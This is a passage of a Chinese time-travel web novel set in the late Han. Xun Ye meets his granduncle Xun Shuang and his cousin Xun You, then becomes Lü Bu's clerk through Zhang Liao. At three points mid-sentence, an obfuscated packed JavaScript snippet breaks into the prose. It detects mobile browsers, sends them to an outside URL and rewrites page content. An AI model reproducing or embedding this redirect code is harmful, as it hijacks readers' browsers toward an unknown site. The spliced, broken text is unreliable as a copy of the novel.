荀晔看看近在咫尺的司空府,挥挥手和已经跑没影儿的张辽道,“回见。” 听不见不是他的问题,反正他说了。 没见面之前他对这位八百打十万的逍遥津战神有过很深的滤镜,但是相处几天后就意识到滤镜戴早了,应该等他们都进了史书再戴。 张文远临阵脱逃跑了,去见叔祖的就只剩下他一个。他祖父在美人爹小时候就去世了,长这么大第一次见祖父辈的长辈还怪紧张的。 托后世那些影视作品的福,他知道荀彧荀攸这些荀氏名人,但是再偏一点就不行了。 青史留名说简单简单说难也难,简单者一句“不及汪伦送我情”便代代相传,难者可能有经天纬地之才也寂寂无名。 当然,最重要的是他没文化只知道那些著名的帝王将相,稍微偏门一点儿的人物都毫无印象,不然绝对不会直到文若叔找上门才知道身处东汉末年。 美人爹满腹经纶锦心绣肠,书房里高深奥妙的著作一堆又一堆,不知道美人爹的名讳是他孤陋寡闻,和美人爹没有半毛钱的关系。 同理可得:没听过叔祖的名讳也是他孤陋寡闻,和叔祖没有半毛钱的关系。 府中书房,正与荀攸对坐而谈的荀爽听得门房通报露出笑容,“明光初次离家,公达与那孩子也是多年未见,正好一同见见。” 荀攸抚衣起身,和叔祖一同前往正厅,“可惜未能见到几位叔父。” 荀爽摇摇头,心里也颇为遗憾,“早晚能见,不急一时。” 荀司空只在家书中见过侄孙,倒是荀攸多年前曾见过这个小他十几岁的从弟,不过他对从弟的印象还停留在失魂痴儿上,一眨眼那么多年过去,当初孱弱到险些养不活的小家伙儿也平平安安长大了。 荀氏族人离开密县时和京城通过消息,司空府的门房知道这几天会有小郎君过来拜见,进去通报的同时直接领人进去。 荀晔心里很慌,不知道为什么有种小学生时期去办公室单独和老师谈话的感觉。越紧张越爱胡思乱想,从容之下是脑子里迅速滚动的弹幕。 怎么说呢,还是见面见得少,要是小时候天天见面他肯定不紧张。 可惜祖父那辈正好赶上党锢之祸,叔祖弃官后没回颍川,而是找了个离颍川很远的山沟沟一隐居就是十几年。 合理怀疑“宅”是他们家的隐性基因,不知道什么时候就会随机出现性状。 少年郎循着门房的指引来到正厅,恭恭敬敬地向初次见面的叔祖行了礼,然后乖乖巧巧跪坐在案前。 说实话,这么正式的会客场面他还是第一次经历。 但是不妨碍他发挥口才拍马屁哄长辈开心。 荀爽已是花甲之年,一眼便能看出孩子在紧张,原想着正厅太严肃要不要换个地方说话,孰料少年郎坐下后适应的飞快,和他那沉静寡言的父亲完全是两个极端。 他们家小辈谨慎低调的多,没想到还能养出个爱说爱笑的主儿。 荀爽面容和蔼,看着小嘴叭叭个不停的侄孙越看越喜欢。 旁边,“木讷迟钝”的荀公达:…… 12.我当主簿 * 人上了年纪都喜欢子孙绕膝,但是京城动荡不安,荀爽怕出意外,进京时便没有带上家眷。 公达乃是应何进何大将军征召进京,到洛阳的时间比他更早。他们平时并未住在一处,偌大的司空府只有他一个老人家和朝廷派来的卫兵仆从。 小阿牞幼时魂魄不全,之后又和他那性情格外文静的父亲一同离家隐居,他从家书上得知消息时甚至想过让仲豫带上不太好照顾的小娃娃去投奔他。 同样是隐居,跟着深居简出的父亲和跟着能说会道的叔祖差别大了。 路遥车马慢,这么多年家书往来也没有太频繁。 他一直觉得腼腆的仲豫会养出一个更加腼腆的“小仲豫”,现在看来是物极则反,小阿牞痊愈后比家中所有小辈都活泼。 荀晔很擅长和长辈打交道,叔祖不是他想象中那种严肃板正的老爷子,这种和蔼可亲的长辈最适合顺着杆子往上爬,倒是旁边那位看上去沉稳可靠老成持重的性格让他不太好发挥。 叔祖无暇离京,和家里的联系全靠家书,信上有许多说不清楚,正好他这个刚从家过来的小辈可以亲口转述,如此也能让叔祖放心。 族人很好,乡人也很好,经过文若叔和他的共同努力,他们最终还是成功带领所有乡亲都离开了中原这个是非之地。 故土难离,但也不能上赶着送死。 荀爽笑眯眯听着侄孙说族人的情况,等他说完才想起来还有个侄孙忘了介绍,“这是你从兄荀攸,公达如今官拜黄门侍郎,今后在京城遇到难处也可以去寻他。” “见过兄长。”荀晔麻溜儿的起身见礼,打招呼也不忘保持他夸夸精的人设,“阿父言兄长卓识远见君子端方,今日一见果真和阿父所说一般无二。” 他刚进来的时候以为这位一直不曾开口说话的帅大叔是府上的属官,但是再一想大过年的官员都放假在家,京城还有个经常被美人爹和叔父们挂在嘴边的堂兄荀攸,所以不用叔祖介绍他也能猜到这人的身份。 不是帅大叔,也不是大侄子,是他名正言顺的哥。 荀攸拢袖还礼,“多年不见,明光变化甚多。” 荀晔眨眨眼,不好意思的回道,“我不记得了,兄长见谅。” 那什么,虽然他现在不傻了,但是还是要对前小傻子多点包容。 炉火融融,祖孙三人的相处很是融洽。 荀爽荀攸这半年多来眼睁睁看着京师风雨飘摇,偶尔对坐饮茶也是气氛沉重,难得能如此闲适的话家常。 荀晔知道叔祖和堂兄比他聪明,汇报完家里的情况继续汇报他自己的情况。 蹚浑水要有蹚浑水的自觉,多带几个脑子没坏处。 他随张辽进京,张辽莫名其妙升任骑都尉也没忘记他这个大功臣,升职当天就把副职军司马安在了他头上。 小年轻张文远还没经历过太残酷的毒打,第一次坐顺风车被带飞激动的不要不要的,就差拉着他结拜为异性兄弟了。 虽然他们手底下一共只有一千多新兵蛋子,和身经百战的并州兵没法比,但是以前的兵是别人的兵,现在这一千多人是他亲自招募来的,何大将军已经没了,这些新兵只要练出来将来就都是他们的亲信。 之前是没资格提拔兄弟,现在有资格提拔了必须安排上。 张·知恩图报·文远如是道。 荀晔:…… 穿越不会让人变聪明也不会让人变傻,人外有人天外有天,他觉得以他的智商出门不至于被人糊弄,但是偶尔也会担心孤身在外遇到事情会茫无头绪。 尤其家里长辈都那么优秀,对比下来更显得他这个不那么优秀的小辈傻里傻气。 但是和张文远相处了几天,荀·呆头呆脑·明光发现,他那被家里众多聪明人打击过的自信心竟然回来了不少。 感谢辽哥,比心。 荀爽面容慈祥的听着,想到京城如今的情况不由一叹,“董相国当政,并州出身的将领处境可不太好。” 京城不是什么好地方,他其实不太明白这小子为什么要进京,还是和并州出身的将领一同进京。 董卓凶残,连他亲自任命的各州牧守都不买他的账,如今到处都打着讨董的旗号招兵买马,建功立业并非只有进京一条路。 荀攸看似淡然稳重,说出口的话却和“稳重”二字丝毫不搭,“董贼狼子野心,人人得而诛之。” 荀晔愣了一下,没想到荀攸会忽然冒出来这么一句。 那什么,骂董卓得私底下悄悄的骂,他们现在这场合不太合适吧? 荀爽无奈,“公达。” 幸好府上人少,不然他还得担心隔墙有耳。 荀攸面色如常,不觉得现在这场合有什么不能说,“天下忠义之士齐聚陈留结盟讨董,叔祖以为盟军能解国患否?” 荀爽再次叹气,“人心不齐,难。” 虽说他没有资格去评价那些站出来反对董卓的英豪,但是不得不说,各路义军名为讨伐董卓,实际不是为了名就是为了利,真正为了汉室的寥寥无几。 “叔祖说的是。”荀晔竖起耳朵,挺直腰杆学着荀攸正跽而坐,两眼亮晶晶的示意叔祖堂兄接着说。 美人爹和叔父们离开之前仔细和他分析过京城形势,刚才他也和叔祖堂兄复述过了,两边没有信息差。 家里忙着避祸搬迁没空管各路兵马的恩怨情仇,文若叔倒是有心匡扶汉室,但是在安顿好族人家眷之前也分不出精力参与其中。 明眼人都能看出来联军成不了气候,然而当局者迷旁观者清,散尽家财起兵讨董的曹操曹校尉还没撞上南墙,现在估计还觉得响应他的都是掏心掏肺的铁杆好盟友。 唉,倒霉的曹老板。 荀爽轻笑一声,“典军校尉曹操起义兵讨董卓,最初响应者只有济北相鲍信兄弟二人。如今义军云集响应,东郡太守桥瑁诈作三公诏书移书州郡功不可没。” 从表面看,各路义军收到三公诏书才响应起兵没有问题。毕竟董卓势大,嘴上骂几句和起兵讨伐是两回事,州郡牧守摇摆不定情有可原。 但是仔细想想,何大将军逼何太后诛杀宦官时召至京师附近的外将不只董卓一人,丁原、桥瑁也在应召之列。 董卓驻军关中上林苑观望形势,丁原放兵数千人火烧孟津作乱河内,桥瑁则屯兵城皋随时准备入城。 身为和董卓、丁原同时被召至京师的外将,桥太守和招兵买马都要靠地方富户接济的曹校尉不一样,以他的兵力完全可以直面刚入京的董卓。 “然而从何大将军身死到董贼入京祸乱朝纲,足足半年的时间桥太守毫无动作,直到曹校尉起兵才矫诏三公书信鼓动州郡起兵,何也?”荀攸语句缓缓,说出来的话却和刚才一样不留情面,“可见也是心怀鬼胎。” 桥瑁以三公的名义传檄州郡,可曾想过京城三公可能会被董卓迁怒丢掉性命? 荀晔眨眨眼睛,莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14865095|159399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名有种说话之人是郭奉孝的错觉。 这真是美人爹口中那个大智若愚讷口少言的荀公达吗? 虽然屋里只有他们仨,但也不能这么不见外,听着怪刺激的。 祖孙三个“见不得人”的会谈持续到中午,主要是荀爽荀攸说荀晔听。 核心思想一句话:讨董联军不可靠,不管现在声势多大早晚都会散,想要解决问题还得靠他们自己。 荀晔很想和叔祖堂兄一样保持云淡风轻,但是他真的做不到,这两位说出的每一句话都出乎他的意料,脑子转太快的结果就是怎么看都像一脸懵逼。 文若叔只说叔祖被强征至京城不得不为董卓所用,没说他老人家还有一颗弄死董卓的雄心啊! 攸哥就更厉害了,叔祖是想除掉董贼清君侧,攸哥是想亲手弄死董卓。 带刀刺杀的那种。 荀晔:懵逼加倍.jpg 现在的董卓还不是那个迁都长安后纵情酒色膨胀到好几百斤的大胖子,而是力大无穷能在马上左右开弓的猛将,虽说攸哥君子六艺无所不精,但是刺杀董卓这种事情他还是觉得不太行。 单看武力值,他上的成功率都比攸哥高。 不对不对不对,他不是专业刺客,董卓身边戒备森严,还有三国第一猛将吕布随身护卫,双方武力差距悬殊,他上也是死啊。 小命只有一条,人死不能复生,乱世还等着他们去征服,攸哥冷静不要胡来! 荀攸看着被他吓得不知所措的从弟,忽然毫无征兆的扬起唇角,“玩笑之语,当不得真。” 荀晔:…… 哥,你确定? 亲切融洽的亲友会面毫无征兆的变成董卓十八杀,连中午那顿这辈子见过最丰盛的午饭都没能抚慰荀阿牞备受伤害的心。 以荀公达在曹魏的戏份来看,这人肯定不会折在洛阳城,但是不怕一万就怕万一,他实在控制不住越想越慌。 要不是他们祖孙三人都有正经事要做,他甚至想变成挂件挂荀攸身上。 时至傍晚,城外新兵营。 分开时高高兴兴的俩人重聚营帐,发现对方脸上和自己如出一辙的发愁后更加沉默。 “你……” “你……” “我……” “我……” “算了,我先说。”荀晔抹了把脸,深沉道,“朝堂水深,京城比想象中的更难混。” “可不。”张辽深有同感,愁的头发都快要挠成鸡窝,“明光,是为兄对不起你。不是为兄不想挽回,实在是吕奉先他不讲理。” 荀晔不明所以,“对不起我?挽回什么?” 他都没见过吕布,吕布不讲理和他有什么关系?无冤无仇的总不能特意跑来揍他一顿。 “怪为兄不该去他面前炫耀。”张辽瞅了眼好兄弟的表情,愁眉苦脸的解释道,“他说跟着我混没前途,得知你出身颍川荀氏后非要讨你去他那里兼个主簿。” “主簿?”荀晔睁大眼睛,“你没和他说我不喜欢动脑子吗?” 虽然主簿掌管文书能接触更多军机,但是他的目标是成为李二陛下那样的超级六边形战士,文书工作不在他的职业规划范围内。 “说了。”张辽长叹一声,悔的肠子都青了,“他不信。” 荀晔茫然,感觉整个人都不好了。 某人自个儿当主簿都烦的刀了顶头上司,他再练几年能超过某人一跃成为三国第一猛将吗? 13.派系斗争 * 如果手边有本老黄历,翻开今天那页上面一定写着:忌出行。 人中吕布马中赤兔,三国第一猛将威名赫赫,荀晔其实很期待见到吕布。 辽哥那么平易近人,能和辽哥处得来的布哥除了脾气差点肯定也不难相处。 没有意外的话他将来要走武安天下的路线,优秀的武将会惺惺相惜,万一他和吕布一见如故相处成异父异母的亲兄弟,劝老哥回并州打地盘可以说是易如反掌。 万万没想到人还没见着事情就变成了他完全看不懂的样子。 主簿?掌文书?认真的吗? 荀晔神情恍惚,他感觉他就是懵逼树上那颗懵逼果,一天下来什么都没干成净剩下懵逼了。 张辽愁眉苦脸继续道歉,“是为兄的错,为兄要是不去找他炫耀就好了。” 吕奉先那臭脾气他又不是不知道,怎么就脑子抽了故意去撩拨?那是他撩拨得起的人吗? 现在可好,不光搬起石头砸自己的脚还连累了好兄弟。 都怪吕奉先,混账玩意儿要是不那么霸道不就没这事儿了? 骂归骂,该给兄弟赔罪还是得赔罪。 没办法,他们这次正好分到吕布麾下,顶头上司的调令下来他想拦也没资格拦。 荀晔:吐魂.jpg 张辽戳戳仿佛已经魂游天外的好兄弟,蔫儿了吧唧的试探道,“我明天带你去见他?” 荀晔深吸一口气,捏着拳头站起来,好像生锈的机器人重新启动,动作缓慢但杀气腾腾。 张辽看他伸手去够长戟顾不得愧疚立刻扭头往外跑,“错了错了错了!真的知道错了!!” 营地鸡飞狗跳,士兵们一个个探出脑袋看热闹,等到两位将军兵刃相接全都不怕死的跑出来叫好,用行动证明什么叫上梁不正下梁歪。 俩人发泄完多余的精力洗刷干净返回营帐,想到接下来要面对的事情还是有些抓狂。 什么叫福无双至祸不单行,倒霉也不能倒霉成这样吧? 荀晔有气无力的瘫在长席上,“文远兄,你真的不是故意的吗?” “真的不是故意的。”张辽举手发誓,诚恳的不能再诚恳,“为兄承认在吕将军面前提起你不是单纯的炫耀,只是原想着能让你再升一升,没想到最后会变成这样。” 京城诸军派系复杂,他的履历又不太光彩,没有意外的话就算回到京城也是换个地方坐冷板凳。 吕奉先的话直来直去不太好听,但是说的却是大实话,跟着他的确没什么前途。 荀晔瞥了他一眼,没忍住开口插话,“有没有可能,吕将军的履历更不光彩。” 你张辽只是两任旧主都政斗失败,他吕布是手刃旧主换前程,真要掰扯起来很明显是吕大将军落下风。 “也不能这么比。”张辽摸摸鼻子,“人家吕将军能让董相国看重,我呢?” 出门打拼脾气不重要,重要的是本事。只要有真本事,就是眼睛长到头顶上照样有人上赶着拉拢。 他倒不是觉得自己没本事,而是世上像明光贤弟这样有眼光的人太少。京城不是并州,这边的人都觉得他年轻不堪大用,估计得打几个漂亮的胜仗才有机会入贵人们的眼。 能出战才能打胜仗,打胜仗才能显出本事,显出本事才能被派去打仗。 很不幸,没了能看到他本事并把他从并州弄到京城的丁执金吾,他的路子直接卡死了。 荀晔:允悲.jpg “文远兄不要心急,好事多磨,早晚有我们的用武之地。” “我不着急,反正我年轻,有的是时间和他们耗。”张辽耸耸肩,仿佛刚才的咬牙切齿是错觉,“倒是明光你,虽然你比我还年轻,但是有机会出头也不能白白错过。” 他觉得这小子直接去司空府投奔长辈可以少走二十年的弯路,但是没经历过挫折的少年郎意气风发只想凭自己的本事建功立业也不是不能理解。 谁还没幼稚过呢。 跟着他大概率只能困在新兵营练兵,甚至可能连募兵那种讨人厌的活儿都分不到,跟着吕奉先就不一样了,虽然一样没机会上阵打仗,但至少能在董相国面前露个脸。 董卓名声不好? 拜托,他们是脑袋绑在裤腰带上过日子的主儿,傻老弟又不准备靠家族势力,跟谁不是跟,名声好坏对他们没有半点影响。 为了好兄弟的前途着想,他果断在吕奉先面前将人夸上了天。 他们家明光贤弟能文善武智勇双全,身处军营仍手不释卷,每晚都要抽出至少半个时辰来读书,武艺方面更是了不得,不过舞象之年就能和他这个从小跟胡人干仗的猛将打的有来有回。 吕将军看看?看看不亏!真的不亏! 他绞尽脑汁夸的嘴皮子都快磨破了,但是吕奉先那家伙最近心情不好光顾得喝闷酒,全程下来只记住了“智勇双全”里的那个“智”,其他那么多句全部左耳朵进右耳朵出。 荀晔嘴角微抽,“我谢谢你。” 张辽眼神飘忽,“也、也还好。” 怎么说呢,他感觉说荀氏子弟不爱动脑子吕布不信也正常。别说吕布不信,他自己都不信。 好兄弟说是想走纯武将的路子,但是他混迹军营那么多年真没见过哪位将军天天雷打不动的看书写心得。 世家子就是世家子,和他们这些大老粗完全不一样。 荀晔揉揉脸坐起来,“事已至此,只能走一步看一步。” 张辽在旁边坐下,压低声音解释道,“其实去当主簿没坏处,吕将军身边现在无甚可用之人,你去了便能总领军中机要,比待在营中练兵强的多。” 也就他们俩关系好,换别人来他都不敢这么大胆的说。 吕奉先被董相国带在身边听用看似风光,实际面子里子都丢的干干净净。 先前在丁执金吾麾下好歹有正经差事,现在说是升官加爵,实际还不如当初。 董相国麾下那么多亲信将领,别人都在讨贼平乱,就他连个正经差事都没有,堂堂飞将愣是被使唤成了护卫僮仆。 如果单单是这样也就算了,董相国去哪儿都带着他勉强称得上一句看重,但是后面的诸多安排让他们想自欺欺人都不行。 荀晔感觉这家伙话里有话,当即示意他细细说来。 张辽眸光沉沉,“这事还得从董相国诱吕将军与他结为父子说起。” 董相国权倾朝野无暇事必躬亲,丁执金吾身死,并州军理所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868965|159399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然以吕将军马首是瞻。 事情到这里还很正常,但是紧接着就不正常了。 凉州军进京后驻守要地,他们并州军各部被拆分打散并入凉州军,凉州出身的将领看他们不顺眼,克扣粮饷是家常便饭,打仗的时候甚至故意指挥他们去送死。 并州兵的战力和凉州兵不相上下,如果不是上头将领故意使坏,他们不至于从进京时的六万大军锐减至现在的两万人。 张辽气得不行,他没在京城待几天就被派出去募兵,募兵回来又被打发去密县安营扎寨,整天忙的焦头烂额还不知道在忙些什么,没空关心并州军的情况。 要不是今天在吕奉先那儿听到真相,他还以为并州兵和凉州兵平时都和和美美亲如一家。 “六万精锐,进京时足足六万人,都是身经百战的将士。董相国也是行伍出身,他怎么舍得纵容亲信这么干?” 他们并州常年和羌胡作战,整个州的人口都比不上中原一个郡,天知道那六万精锐对并州而言意味着什么。 早知道会不明不白折在京城,他们当初就、好吧、来不来也不是他们说了算。 但是再想还是受不了! 哪怕把他们打发回并州继续和胡人干仗呢?! 荀晔点点头,“派系斗争向来残酷,可惜了那些将士。” 优秀的武将会惺惺相惜,但还有句话叫文无第一武无第二。 并州军和凉州军都以骁勇善战著称,凉州军的头头董卓在政治斗争中干掉了并州军的头头丁原进而吞并并州军。 如果董卓能处理好两边矛盾让并州军彻底归心,两只军队合在一起绝对是一加一大于二的效果,不过看现在这情况,董相国自始至终都没想过解决矛盾,甚至大有拿并州将士给亲信凉州军解闷发泄的意思。 上头做决策的人不清醒,下面能和平共处才怪。 没有猜错的话,凉州军内部的逞勇斗狠也不会少。 张辽攥紧拳头,“并州军真要群龙无首也就算了,吕将军就在董卓身边他们还这么肆无忌惮,这是瞧不起谁?” 连相国都不叫了,可见怨气有多大。 也是,京城不比凉州,没有董卓的默许那些凉州将领没胆子胡作非为。 荀晔若有所思的搓搓下巴,不知道为什么,他感觉他们俩再说下去也会变成董卓十八杀。 ——是兄弟就砍董卓! 啧,人缘这么差,死了不亏。 第二天上午,两个人收拾整齐再次进城。 仅仅过了一天,再看到寂静萧条的洛阳城心境便大不相同。 假期尚未结束,吕布依旧窝在府中喝闷酒,不过今天比前几天稍稍多了点儿期待。 董卓那老东西凶残暴戾,莫说和朝中那些看他不顺眼的大臣处不来,连他府中那些幕僚门客也都过的提心吊胆,生怕哪句话说的不对就被拖出去蒸了煮了。 字面意义上的蒸了煮了。 他在老东西身边待了那么久,能让老东西心平气和说话的不多,荀司空算一个。能让暴怒的老东西不杀人的更不多,荀司空也是其中之一。 张文远那小子运气好入了颍川荀氏的眼,不知道跟他一起进京的那位荀氏子能得荀司空几分真传。 14.世纪会面 * 如果没有昨天“主簿”那档子事儿,荀晔知道第二天要去面见吕布的消息眼神都能变成扇形图——三分激动三分期待外加四分紧张。 现在吕布在没见面的情况下就把他的职业规划改的面目全非,他的眼神扇形图也与时俱进的更新。 激动期待紧张全部消失的一干二净,只剩下十分的愁云惨淡。 龙生九子各有不同,刻板印象要不得啊吕大将军。 早知今日他当初绝对不说什么“必要时大不了伪装一下谋士”的话,长辈们都是真才实学,他一块砖头怎么好意思混进去伪装珠玉? 马蹄哒哒,正月的寒风吹过行人寥寥的街道,进入官员居多的永安里才多了几分人气儿。 “我真和他说了你想带兵打仗,但是他就是不信。”张辽再次干巴巴的解释,“不光不信,还觉得我是舍不得放人故意糊弄他。” 要不是许久未见动手伤感情,他们俩昨天说着说着就能打起来,他单方面挨揍的那种。 荀晔听的脑袋疼,“知道了知道了,不怪你。” 他在家被美人爹说是小话痨,张文远磨蹭起来比他还话痨。 这事儿乍一听很难受,但是沉下心来仔细一琢磨,其实也不算是好心办坏事。 这年头名声值钱也不值钱,赤胆忠心铮铮不屈者是极少数,绝大多数人还是利字为先。只要身居高位,就算名声再差也永远不缺上赶着奉承的人。 军中派系斗争不如朝堂明了,连张辽都是回京见了吕布才知道并州军的处境如此艰难,外人更不清楚内里情况。 吕布觉得被时刻束缚在董卓身边憋屈的不行,但是在急于寻找出路的人眼中那是董相国格外看重这位武艺超凡的义子。 不夸张的说,吕大将军府上等着被接见的自荐之人比三公府邸都多。 位至三公的都是聪明人,和他们打交道太费脑筋,与之相比,能被董相国以金银宝马诱惑的吕大将军就好忽悠多了。 吕布好歹经历过那么多纷争,没吃过猪肉总见过猪跑,估计现在也回过味儿意识到自己好忽悠,于是直接将门口那些自荐的家伙全部无视。 一刀切可能会错过好东西,但也能将风险全部挡在门外,他又不是什么礼贤下士的主儿何必去自找麻烦。 荀晔很确定,如果不是张辽带着,他可能连吕大将军的家门都进不去。 所以张师傅别说了,快收了神通吧。 荀晔听的耳朵要起茧子,为了让张辽放过他的耳朵索性开始魔法对轰。 只要他的话足够密集,张文远就插不上嘴。 两个话痨一路来到吕中郎将府邸,别人冬天出门生怕蒙的不够严实,他俩边走边说愣是都喝了一肚子的风。 高顺早早在门口等着,看到昨日见过一面的张辽后让仆从将马牵走洗刷喂料,然后径直带他们去正厅。 张辽知道这家伙寡言少语,主动承担起介绍双方认识的责任。 “这位是高顺高伏义,如今在吕将军帐下任佐军司马。” “这位是荀晔荀明光,如今在我帐下任军司马,不过马上也是吕将军的人了。” 军司马是主将的副将,主将地位高副将地位就高,同样都是军司马地位也能一个天一个地。 不过不重要,反正都归吕奉先管,以后都是一家人。 荀晔语气欢快的打招呼,“伏义兄。” 统领陷阵营的高顺高伏义,这人他知道,是个忠义正直还一根筋的纯爷们儿。 一根筋到什么程度呢?撞了南墙也不回头。 吕布兵败后曹老板收了张辽,但是高顺却和吕布陈宫一同赴死,这人忠心到曹老板那种惜才的人都不敢用,只能“我得不到别人也别想得到”。 高顺不擅长和人打交道,因为说话太直和军中其他将领关系也不太好,昨天碰到个自来熟张辽已经有些招架不住,现在发现新来的这位好像比张辽更加自来熟更是打起十二分精神应对,“明光。” 张辽落后半步,不着痕迹的朝好兄弟眨眨眼睛。 ——我说什么来着,高伏义可好玩儿了。 荀晔笑的更加开心,俩人心照不宣的错开目光,然后一左一右和越紧张越没有表情的高将军彰显他们的热情。 高顺:!!! 用来待客的正厅,吕大将军对心腹爱将的心情一无所知,依旧在期待即将到来的荀氏子。 他身边不缺能打的将领,就缺个能动脑子的智囊,若能将远道而来的荀氏子纳入麾下,今后再和董卓老贼起争执定不会只能回府生闷气。 老东西当面骂完他后还要召集幕僚门客继续骂,他挨完骂回府只能看到连附和都不会附和的闷葫芦高顺,骂完之后比又挨顿骂还憋屈。 他爷爷的,真是人比人气死人。 听闻荀氏家风清正,族中多高人雅士,荀司空温和敦厚,在董卓那老东西面前都能心平气和的讲道理,想来家中小辈也差不哪儿去。 张文远说跟他进京的荀氏子年纪不大,没有意外的话,待会儿进来的会是个和荀司空差不多的和和气气的文弱…… 吕大将军正在考虑要不要把烈酒撤掉,结果抬头就看到了和他想象中截然不同的英姿飒爽少年郎。 识时务者为俊杰,荀晔接受现实的速度飞快,跟着高顺张辽进到正厅后爽快的上前见礼,“颍川荀晔,见过吕将军。” 反正按照原来的计划也要和吕布打交道,主簿就主簿吧,总比见一面都费劲强。 吕布:…… “坐。” 吕大将军惜字如金,见到真人后终于想起来昨天张辽夸完人还说了什么。 ——明光贤弟能文但更善武,十八般武器上手就能用,与军中弟兄相处极好,实乃世家大族中一朵亮眼的奇葩。 看一眼。 再看一眼。 很好,不是错觉,这打扮和文士丝毫不沾边的小将就是他眼巴巴等待的荀氏子。 张辽和吕布在并州时就认识,后来又同在丁原帐下听令,别人看不出吕大将军威严表面下是茫然恍惚他看得出来。 他昨天强调了那么多遍不是所有荀氏子都是温文尔雅的端方君子,荀氏也有更偏爱武力的子弟,奈何某人就是不听。 现在可好,傻了吧。 还好他们家明光贤弟偏爱练武也没放弃习文,让他处理军务也不是干不来。 拜托,那可是颍川荀氏,文是基本功,武才是锦上添花。 话说吕奉先这半年过的都是什么日子?怎么连个能活跃气氛的属下都没有?让初次见面的客人自说自话不太好吧? 还是得看他张文远。 张辽眼神暗示了好几次,发现吕布沉着脸一点反应都没有,最终还是一个人扛起了所有,“京中形势复杂,居心叵测者甚多,虽说吕将军府邸门庭若市,但是可用之人难得,今后有劳明光为将军出谋划策,免得咱们将军被人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872609|159399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算计。” 话说的不太客气,好像吕大将军在京城孤孤零零连个能出谋划策的人都没有。 荀晔下意识抬头,感觉张文远今天会因为不会说话被扫地出门。 然而他担心的有点早,在场除了他没有人觉得张辽的话有问题,吕布本人甚至慢吞吞举起酒杯点头道,“文远说的对。” 他不耐烦一个个的考验手下人忠心,也不觉得那些因为董卓来投他的家伙会有“忠心”这玩意儿。 这位荀明光和张文远关系不错,再加上颍川荀氏声名在外,如此一来至少不用担心这人在背后给他捅刀子。 事实证明,再放心也得先见面再谈,不然就会出现刚才那种尴尬场面。 荀晔:…… 完蛋,矮子里面拔高个,他在这儿好像真有当谋士的潜质。 爹!孩儿出息了! 从今天起,他荀明光就是文能提笔安天下武可上马定乾坤的不世出之才,吕大将军有眼光! 双方会面圆满成功,荀小将军升职为荀小先生并火速上任。 品秩高的官员将领身边多有幕僚属官处理杂务,吕布自个儿早先就是主簿,不过他对这个需要动脑子的差事深恶痛绝,转投董卓封候拜将后看到竹简连碰都不带碰的,平日都是高顺身兼多职一个人干几个人的活儿。 得亏高伏义老实,换成其他人还真不受这个委屈。 之前事情少高顺忙得过来,最近董卓良心发现给他“看重”的义子拨了不少人马,吕中郎将终于不再像之前一样是个光杆司令,但是手底下有兵军务也随之而来,就算没有他吕布也得任命个主簿来干活。 很好,这波双赢。 吕布不喜欢弯弯绕绕,但也不是真的什么都不懂,“讨董联军声势浩大,老东西想让老子继续留在他身边当护卫总得给点好处。” 老东西既要仰仗他的武力又对他防备的紧,生怕他一言不合被别人勾搭去然后像砍旧主丁原一样把他也砍了,真要看重他就不会给只给他几千新兵蛋子和其他地方不要的歪瓜裂枣,而是把被拆分打散的并州军还给他。 他杀丁原是单纯为了金银宝马吗?要是丁老头不压着他当那劳什子主簿让他带兵打仗不就没这事儿了? 啧,假惺惺。 不过新兵蛋子也比什么都没有强,好歹张辽这傻蛋也跟新兵蛋子一起回来了,不然他一时半会儿还真没法把人弄回京城。 且等着,他迟早把该属于他的并州兵马都夺回来。 正厅没有外人,食案撤下去后只剩下他们四个人,仆从远远候着不敢靠近,吕大将军不担心隔墙有耳,说起话来也没有顾忌。 张辽这小半年过的也是跌宕起伏,俩人凑到一起除了骂董卓还是骂董卓,昨天骂了一天不耽误今天继续骂。 荀晔坐在旁边和高顺一起当听众,终于明白张辽刚才为什么敢那么直白。 有共同敌人董相国在前面拉仇恨,这关系想不好都难。 还有就是,吕大将军您是不是也太直白了? 刚上任的荀主簿神情复杂。 吕布想带兵冲锋陷阵,丁原将他提拔到身边却不让他带兵让他当处理文书的主簿,吕主簿忍无可忍,于是在董卓的挑拨下嘎了丁原。 他开始也想带兵,吕大将军将他提拔到身边也让他当处理文书的主簿,如果荀主簿也忍无可忍…… 嘶,还好他对这个差事没太大意见,不然吕大将军就危险了。 15.猪猪陛下 * 吕布和张辽坐在一起为备受打压的并州军鸣不平,同时大骂董卓狼子野心不得好死。 幸好他们知道压低声音骂,要是嚷嚷到让院子里洒扫的仆从都能听见,不出半个时辰董相国就能亲自带兵包围将军府。 荀晔高深莫测的摇摇头,假装手里有把羽毛扇,适应角色的速度飞快。 